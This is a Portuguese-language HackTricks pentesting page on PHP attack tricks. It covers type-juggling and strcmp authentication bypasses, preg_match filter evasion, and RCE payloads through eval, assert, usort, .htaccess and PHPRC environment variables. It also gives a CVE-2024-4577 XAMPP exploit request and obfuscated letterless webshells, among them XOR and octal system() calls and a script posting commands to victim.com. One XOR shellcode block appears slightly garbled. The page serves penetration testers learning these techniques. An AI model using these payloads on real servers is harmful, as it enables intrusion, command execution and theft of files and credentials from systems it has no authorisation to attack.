hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-07-19 10:12:26 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00
php-ssrf.md Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne 2024-07-17 11:17:31 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R 2024-07-17 12:18:05 +00:00

Truques do PHP

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

{% embed url="https://websec.nl/" %}

Localização comum dos Cookies:

Isso também é válido para cookies do phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Localizações:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Bypassando comparações em PHP

Comparações frouxas/Type Juggling ( == )

Se == é usado em PHP, então existem casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados para o mesmo tipo, se você também deseja comparar que o tipo dos dados comparados é o mesmo, você precisa usar ===.

Tabelas de comparação em PHP: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Uma string que não começa com um número é igual a um número
  • "0xAAAA" == "43690" -> True Strings compostas por números em formato dec ou hex podem ser comparadas com outros números/strings com True como resultado se os números forem iguais (números em uma string são interpretados como números)
  • "0e3264578" == 0 --> True Uma string que começa com "0e" e seguida por qualquer coisa será igual a 0
  • "0X3264578" == 0X --> True Uma string que começa com "0" e seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
  • "0e12334" == "0" --> True Isso é muito interessante porque em alguns casos você pode controlar a entrada de string de "0" e algum conteúdo que está sendo hashado e comparado com ele. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderia contornar a comparação. Você pode encontrar strings já hashadas com este formato aqui: https://github.com/spaze/hashes
  • "X" == 0 --> True Qualquer letra em uma string é igual a int 0

Mais informações em https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling também afeta a função in_array() por padrão (você precisa definir como true o terceiro argumento para fazer uma comparação estrita):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Se esta função é usada para qualquer verificação de autenticação (como verificar a senha) e o usuário controla um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da senha (https://example.com/login.php/?username=admin&password[]=) e contornar essa verificação:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

O mesmo erro ocorre com strcasecmp()

Tipagem estrita

Mesmo se === estiver sendo usado, pode haver erros que tornam a comparação vulnerável ao type juggling. Por exemplo, se a comparação estiver convertendo os dados para um tipo de objeto diferente antes de comparar:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() pode ser usado para validar a entrada do usuário (ele verifica se alguma palavra/regex de uma lista negra está presente na entrada do usuário e, se não estiver, o código pode continuar sua execução).

Bypass de nova linha

No entanto, ao delimitar o início da regexp, preg_match() verifica apenas a primeira linha da entrada do usuário, então se de alguma forma você puder enviar a entrada em várias linhas, você pode ser capaz de contornar essa verificação. Exemplo:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Para contornar essa verificação, você pode enviar o valor com quebras de linha urlencoded (%0A) ou, se puder enviar dados JSON, envie em várias linhas:

{
"cmd": "cat /etc/passwd"
}

Encontre um exemplo aqui: https://ramadistra.dev/fbctf-2019-rceservice

Bypass de erro de comprimento

(Este bypass foi aparentemente testado no PHP 5.2.5 e não consegui fazê-lo funcionar no PHP 7.3.15)
Se você enviar para preg_match() uma entrada muito grande e válida, ele não conseguirá processá-la e você poderá burlar a verificação. Por exemplo, se estiver na lista negra um JSON, você poderia enviar:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Desvio ReDoS

Truque de: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 e https://mizu.re/post/pong

Em resumo, o problema ocorre porque as funções preg_* em PHP são baseadas na biblioteca PCRE. No PCRE, certas expressões regulares são correspondidas usando muitas chamadas recursivas, o que consome muito espaço de pilha. É possível definir um limite para a quantidade de recursões permitidas, mas no PHP esse limite é padrão para 100.000, o que é mais do que cabe na pilha.

Neste tópico do Stackoverflow também foi mencionado no post, onde é discutido mais a fundo sobre esse problema. Nossa tarefa agora estava clara:
Enviar uma entrada que faria o regex fazer mais de 100.000 recursões, causando SIGSEGV, fazendo a função preg_match() retornar false, fazendo com que a aplicação pense que nossa entrada não é maliciosa, lançando a surpresa no final do payload algo como {system(<comandomuitoruim>)} para obter SSTI --> RCE --> flag :).

Bem, em termos de regex, na verdade não estamos fazendo 100k "recursões", mas sim contando "passos de retrocesso", que, como a documentação do PHP afirma, é padrão para 1.000.000 (1M) na variável pcre.backtrack_limit.
Para alcançar isso, 'X'*500_001 resultará em 1 milhão de passos de retrocesso (500k para frente e 500k para trás):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Tipificação Fraca para ofuscação em PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Executar Após Redirecionamento (EAR)

Se o PHP estiver redirecionando para outra página, mas nenhum die ou exit função é chamada após o cabeçalho Location ser definido, o PHP continua executando e anexando os dados ao corpo:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Exploração de Traversal de Caminho e Inclusão de Arquivo

Verifique:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

Mais truques

  • register_globals: Em PHP < 4.1.1.1 ou se estiver mal configurado, register_globals pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $_GET se elas tiverem um valor, por exemplo $_GET["param"]="1234", você pode acessá-lo via $param. Portanto, enviando parâmetros HTTP você pode sobrescrever variáveis que são usadas no código.
  • Os cookies PHPSESSION do mesmo domínio são armazenados no mesmo local, portanto, se dentro de um domínio diferentes cookies são usados em caminhos diferentes você pode fazer com que um caminho acesse o cookie do caminho definindo o valor do cookie do outro caminho.
    Dessa forma, se ambos os caminhos acessarem uma variável com o mesmo nome você pode fazer com que o valor dessa variável em path1 se aplique a path2. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome correspondente em path2).
  • Quando você tem os nomes de usuário dos usuários da máquina. Verifique o endereço: /~<USERNAME> para ver se os diretórios php estão ativados.
  • LFI e RCE usando envoltórios php

password_hash/password_verify

Essas funções são tipicamente usadas em PHP para gerar hashes a partir de senhas e para verificar se uma senha está correta em comparação com um hash.
Os algoritmos suportados são: PASSWORD_DEFAULT e PASSWORD_BCRYPT (começa com $2y$). Note que PASSWORD_DEFAULT é frequentemente o mesmo que PASSWORD_BCRYPT. E atualmente, PASSWORD_BCRYPT tem uma limitação de tamanho na entrada de 72 bytes. Portanto, ao tentar gerar um hash de algo maior que 72 bytes com esse algoritmo, apenas os primeiros 72B serão usados:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Bypass de cabeçalhos HTTP abusando de erros PHP

Causando erro após definir cabeçalhos

A partir deste thread no Twitter você pode ver que ao enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não irá definir cabeçalhos na resposta.

Permitindo assim a bypass, por exemplo, de cabeçalhos CSP sendo definidos em códigos como:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Preenchendo um corpo antes de definir cabeçalhos

Se uma página PHP estiver imprimindo erros e ecoando de volta alguma entrada fornecida pelo usuário, o usuário pode fazer o servidor PHP imprimir de volta algum conteúdo longo o suficiente para que, ao tentar adicionar os cabeçalhos na resposta, o servidor gere um erro.
No cenário a seguir, o atacante fez o servidor gerar alguns erros grandes, e como você pode ver na tela, quando o PHP tentou modificar as informações do cabeçalho, não conseguiu (então, por exemplo, o cabeçalho CSP não foi enviado ao usuário):

SSRF em funções PHP

Verifique a página:

{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Execução de código

system("ls");
`ls`;
shell_exec("ls");

Verifique isso para mais funções úteis do PHP

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Para executar o código no argumento "replace" é necessário pelo menos uma correspondência.
Essa opção do preg_replace foi descontinuada a partir do PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Esta função dentro do php permite que você execute código que está escrito em uma string para retornar verdadeiro ou falso (e dependendo disso alterar a execução). Geralmente a variável do usuário será inserida no meio de uma string. Por exemplo:
assert("strpos($_GET['page']),'..') === false") --> Neste caso, para obter RCE você poderia fazer:

?page=a','NeVeR') === false and system('ls') and strpos('a

Você precisará quebrar a sintaxe do código, adicionar sua carga útil e então corrigi-lo novamente. Você pode usar operações lógicas como "and" ou "%26%26" ou "|". Note que "or", "||" não funcionam porque se a primeira condição for verdadeira, nossa carga útil não será executada. Da mesma forma, ";" não funciona, pois nossa carga útil não será executada.

Outra opção é adicionar à string a execução do comando: '.highlight_file('.passwd').'

Outra opção (se você tiver o código interno) é modificar alguma variável para alterar a execução: $file = "hola"

RCE via usort()

Essa função é usada para classificar uma matriz de itens usando uma função específica.
Para abusar dessa função:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Pode também usar // para comentar o resto do código.

Para descobrir o número de parênteses que precisa fechar:

  • ?order=id;}//: obtemos uma mensagem de erro (Parse error: syntax error, unexpected ';'). Provavelmente estamos a perder um ou mais parênteses.
  • ?order=id);}//: obtemos um aviso. Parece estar correto.
  • ?order=id));}//: obtemos uma mensagem de erro (Parse error: syntax error, unexpected ')' i). Provavelmente temos demasiados parênteses de fecho.

RCE via .httaccess

Se puder carregar um .htaccess, então pode configurar várias coisas e até executar código (configurando que ficheiros com extensão .htaccess podem ser executados).

Diferentes shells .htaccess podem ser encontrados aqui

RCE via Variáveis de Ambiente

Se encontrar uma vulnerabilidade que permita modificar variáveis de ambiente em PHP (e outra para carregar ficheiros, embora com mais pesquisa talvez isso possa ser contornado), poderia abusar desse comportamento para obter RCE.

  • LD_PRELOAD: Esta variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
  • PHPRC : Instrui o PHP sobre onde localizar o seu ficheiro de configuração, normalmente chamado php.ini. Se puder carregar o seu próprio ficheiro de configuração, então use PHPRC para apontar o PHP para ele. Adicione uma entrada auto_prepend_file especificando um segundo ficheiro carregado. Este segundo ficheiro contém código PHP normal, que é então executado pelo tempo de execução do PHP antes de qualquer outro código.
  1. Carregar um ficheiro PHP contendo o nosso código shell
  2. Carregar um segundo ficheiro, contendo uma diretiva auto_prepend_file instruindo o pré-processador PHP a executar o ficheiro que carregamos no passo 1
  3. Definir a variável PHPRC para o ficheiro que carregamos no passo 2.
  • Obtenha mais informações sobre como executar esta cadeia no relatório original.
  • PHPRC - outra opção
  • Se não puder carregar ficheiros, poderia usar no FreeBSD o "ficheiro" /dev/fd/0 que contém o stdin, sendo o corpo do pedido enviado para o stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Ou para obter RCE, ative allow_url_include e antecipe um ficheiro com código PHP em base64:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Técnica deste relatório.

XAMPP CGI RCE - CVE-2024-4577

O servidor web analisa os pedidos HTTP e passa-os para um script PHP executando um pedido como http://host/cgi.php?foo=bar como php.exe cgi.php foo=bar, o que permite uma injeção de parâmetros. Isso permitiria injetar os seguintes parâmetros para carregar o código PHP do corpo:

-d allow_url_include=1 -d auto_prepend_file=php://input

Além disso, é possível injetar o parâmetro "-" usando o caractere 0xAD devido à normalização posterior do PHP. Confira o exemplo de exploit neste post:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

Análise estática do PHP

Verifique se é possível inserir código em chamadas para essas funções (de aqui):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Se estiver depurando uma aplicação PHP, você pode habilitar globalmente a impressão de erros em /etc/php5/apache2/php.ini adicionando display_errors = On e reiniciando o apache: sudo systemctl restart apache2

Desofuscando código PHP

Você pode usar o web www.unphp.net para desofuscar código PHP.

Wrappers e Protocolos PHP

Wrappers e protocolos PHP podem permitir que você bypass write and read protections em um sistema e comprometê-lo. Para mais informações, consulte esta página.

RCE não autenticado do Xdebug

Se você perceber que o Xdebug está habilitado em uma saída phpconfig(), você deve tentar obter RCE via https://github.com/nqxcode/xdebug-exploit

Variáveis variáveis

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusando de novo $_GET["a"]($_GET["b"])

Se em uma página você pode criar um novo objeto de uma classe arbitrária, você pode ser capaz de obter RCE, verifique a página a seguir para aprender como:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Executar PHP sem letras

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Usando octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Código shell XOR fácil

De acordo com este artigo, é possível gerar um código shell XOR fácil desta maneira:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Portanto, se você pode executar PHP arbitrário sem números e letras, você pode enviar uma solicitação como a seguinte abusando desse payload para executar PHP arbitrário:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Para uma explicação mais detalhada, consulte https://ctf-wiki.org/web/php/php/#preg_match

Shellcode XOR (dentro de eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Semelhante ao Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

{% embed url="https://websec.nl/" %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: